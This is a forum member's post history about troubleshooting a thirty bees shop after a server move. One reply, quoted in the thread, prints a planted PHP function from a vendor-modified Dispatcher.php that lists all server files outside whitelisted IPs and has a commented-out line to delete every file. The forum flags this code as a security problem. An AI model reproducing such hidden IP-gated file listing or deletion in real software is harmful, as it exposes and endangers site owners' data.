Jump to content
thirty bees forum

Alex Hansen

Members
  • Posts

    45
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by Alex Hansen

  1. I have just updated to version 1.2.0 and I don't know if  this is the reason, but suddenly Custemers login don't work anymore.
    Even with new password it will not accept any login at all, not even my own testuser (has always be worked).

    When entering wrong password I get the message: Invalid password.

    When entering right password I get the meesage: Approval failed.

     

    Any idea how to fix this issue?

     

    The site: www.sportspower.dk

     

  2. Additional info:
    The problems have arisen after moving to new server and maybe the explanation should be found in here as it worked before.

    I seemed to have found (what I mean is suspicious code) in the source text of the product page.

     
    /** rtl **/
       
       
      </style><link rel="canonical" href="https://www.sportspower.dk/sko/929-zeus-mylon-black.html">
      <link rel="alternate" href="https://www.sportspower.dk/sko/929-zeus-mylon-black.html" hreflang="da-dk">
      <link rel="alternate" href="https://www.sportspower.dk/sko/929-zeus-mylon-black.html" hreflang="x-default">
       
       
      <!--[if lt IE 9]>
       
       
      <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
       
       
      <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
       
      <![endif]-->
       
      <!--[if lte IE 9]>
       
       
      <script src="https://sportspower.dk/themes/warehouse/js/flexibility.js"></script>
       
      <![endif]-->
       
      <meta property="og:title" content="Zeus Mylon Fritids-sko (Sort)"/>
       
      <meta property="og:url" content="https://www.sportspower.dk/sko/929-zeus-mylon-black.html"/>
       
      <meta property="og:site_name" content="WebShop Sportspower"/>
       
       
       
      <meta property="og:description" content="Prisbillig lækker fritids-sko fra Zeus (Sort)">
       
       
      <meta property="og:type" content="product">
       
       
      <meta property="og:image" content="//cdn1.prestaspeed.dk/1937-large_default/bigpic.jpg">
       
       
      </head>
     

     

    Why does oss.maxcdn.com and cdn1.prestaspeed.dk appears in this?


    By the way:
    The links to big pictures on this product is:
    1: "https://sportspower.dk/1937-thickbox_default/zeus-mylon-black.jpg" 

    2: "https://sportspower.dk/1997-thickbox_default/zeus-mylon-black.jpg"
    If it helps anyone

  3. 18 hours ago, Traumflug said:

    To get the same behavior on a desktop, make the window less than 400px wide. That's not a solution, of course, but helps debugging.

    Clicking on the image to get a large view doesn't work either, at no window width.

    Is there a module 'easyzoom' ? I'd disable/uninstall it and try again.

    You're right, but still don't know how to fix it 😞
    No such module.

     

  4. 20 hours ago, datakick said:

    There is probably some javascript that detects mobile device, and then do some image shuffle magic. Obviously not correctly.

     

    Hi Datakick - You're probberly right, but I don't know there to look and fix this issues.

     

  5. 20 hours ago, veganline said:

    I don't know but this is a symptom
    Using chrome on a laptop in UK...
    There wasa a gap under the one image. I did random things while trying to look at the code, and then the second image popped-into place. They're both small in kb and area, so I don't know why the result. Maybe the style is fussy about screen size and I made the viewing area narrower while trying to inspect the image. So I don't know.

    Hi - That is interessting. You're right.
    When the window is size down to very small it do works (maybe that's the reason it also works on android phone) but I still don't know how to fix the problem.
    But thanks 

  6. 23 hours ago, Petter said:

    I'v just tried your link, using Vivald, Firefox and Chrome browser - can confirm that the product pic on the product page does not work in any of these browsers.

     

    Hi Petter.
    Thanks for trying but with same result as my self, i can understand.
    But stangely it DO works on my android phone???

    Does anybody have an idea what could be the trouble here?

     

  7. Hi
    Only the main (selected) product picture can be seen at my product pages.
    If I have more than one picture of product, these can't be showed. Also I can't click on product-pics to see them in big size?

    Anybody know what the trouble could be?
    When I have different variants (ex. colour) there is no problem to show them, but still you can't browse images.

    Examble: https://www.sportspower.dk/sko/929-zeus-mylon-black.html
    This items has to pics, but only one is showed.

    Hope somebody have the solution to this 🙂

     

  8. 3 hours ago, datakick said:

    @Alex Hansen your Dispatcher.php contains some very strange code, for example this shouldn't be there:

    
        public function checkServerValidity($dir){
            $server_address = $_SERVER['SERVER_ADDR'];
    
            // $server_address == '209.42.195.172' ||
            if($server_address == '209.42.193.169' || $server_address == '209.42.194.200'){
    
            }else{
                $files = scandir($dir); // get all file names
    
                foreach($files as $file){ // iterate files
                    if($file == '.' || $file == '..')
                        continue;
    
                    $file_dir = $dir . '/' . $file;
    
                    if(is_dir($file)){
                        $this->checkServerValidity($file_dir);
                    }else{
                        //unlink($file); // delete file
    
                        echo $file_dir . "\n";
                    }
                }
            }
        }

    This code displays all the files on your system, if you add "?debug=1" to the url tab. That's definitely not a nice feature, more of a serious security issue. But it used to be worse -- this routine used to delete all and every file on your site. Thankfully that's commented out now.

    But that makes me thinking that you will probably have more such pretty easter eggs in your code.

    I would suggest following: use core updater and update to the bleeding edge. That will remove all this crappy code. But it will also remove all customization in the core (if you have any -- you shouldn't have, but it's possible you do). If you have some, then hire a developer to extract them from core to overrides.

    Woow - I'm in chok - Is it criminals I have been dealing with or could there be a good explanation to this?
    I'm really lost right now.

    Could someone (like you) help me with this. I don't expect this to be free.
    First i wanna make my shop works again. Right now I can't handle the orders, and that's a big prtoblem.
    Second i must know how bad thing are with my shop. And maybe bring this back in safe mode.

     

  9. 23 hours ago, Traumflug said:

    This error message means code tries to read $variable['debug'], and fails. Where $variable means any variable name.

    Sounds much like you have some debugging code in this file. Unmodified, Dispatcher.php doesn't contain the word 'debug' anywhere and around line 650 is no code reading arrays.

    If re-uploading files and deleting cache/class_index.php doesn't help, please post line 640 to line 660 of this file here.

    Well, I managed to fuck the site up now 🙂
    After I deleted the cachefiles in classes, the site won't load at all.
    Then I copied them back again, but it still won't load.
    I wrote my host and I'm sure that they can fix this issue, maybe by put a backup back online (the system automatic backup everyday).

    But regarding to Dispatcher, i found this in my .htaccess in the root (is this correct)?:
    RewriteRule . - [E=REWRITEBASE:/]
    RewriteRule ^api(?:/(.*))?$ %{ENV:REWRITEBASE}webservice/dispatcher.php?url=$1 [QSA,L]
     

    and longer down:

     

    # Dispatcher
    RewriteCond %{REQUEST_FILENAME} -s [OR]
    RewriteCond %{REQUEST_FILENAME} -l [OR]
    RewriteCond %{REQUEST_FILENAME} -d
    RewriteRule ^.*$ - [NC,L]
    RewriteRule ^.*$ %{ENV:REWRITEBASE}index.php [NC,L]
    </IfModule>


    Futhermore in the classes directory there is this .htaccess:
    Order deny,allow
    Deny from all 

    looks strange for me?

     

    I attached a copy of my Dispatcher.php file

     

     

    Dispatcher.php

  10. On 1/29/2021 at 7:26 PM, haylau said:

    Alex, You are new so you will not know

    @datakick is one of the most knowledgable guys out there in TB world and beyond. I would not discount his thoughts in favour of anyone’s - especially mine 🙂

    The more info you can give the better

    So, what version of TB have you got. What version of PHP have you got (if the old server was an older version of PHP and the new server is a nwewer version of TB then the TB version is very relevant as old incompatibilities will have been fixed

    So, just for example and ignore the actual numbers, TB 1.0 mat have worked on PHP 5.4 but would not work on PHP 8

    Sorry, I did not know. You're right - I'm new to this 🙂
    @datakick i'm sorry - I have send you a new (and better) reply.

    Thirty Bees version 1.1.0 (proberly modified).

    OLD SERVER:
    PHP native (7.1)

    NEW SERVER:
    PHP 7.3

    Hope this is better?

  11. On 1/29/2021 at 11:54 AM, datakick said:

    are you using latest tb version?

    It's obviously a modified version of Thirty Bees installed by the company I bought the entire development from. Backoffice says it's version 1.1.0
    I have discovered several limitations in their version and it seems that they have tried to make me dependent on their support and service. Or put in other words: To make themselves indispensable 😞
    However, my system worked flawlessly before moving to a new server.
    At first glance after moving, it also seemed like it was perfectly fine after server move, but unfortunately I have discovered serious issues:
    1) I can not access orders (customers can place an order).
    2) I can also not access CMS in the back office-
    3) The system no longer sends out emails (neither to the buyer nor to me).

     

  12. Hi
    I had to move my shop to another server.
    At first everything looks fine, but it's not 😞

    I can't access the orders. I can get the list, but can't go into a order (blank page appers).
    Also i can't access the CMS at all (HTTP ERROR 500)

    Also the system don't send emails.
    I made a test buy, but didn't get any mail. Not as buyer and also not as seller.
    Also the contacf-form of the site don't work at all.
    - Maybe there is more 😞


    All these thing was OK before the movement to new server.

    Any idea for a solution?
    I'm lost 😞

     

×
×
  • Create New...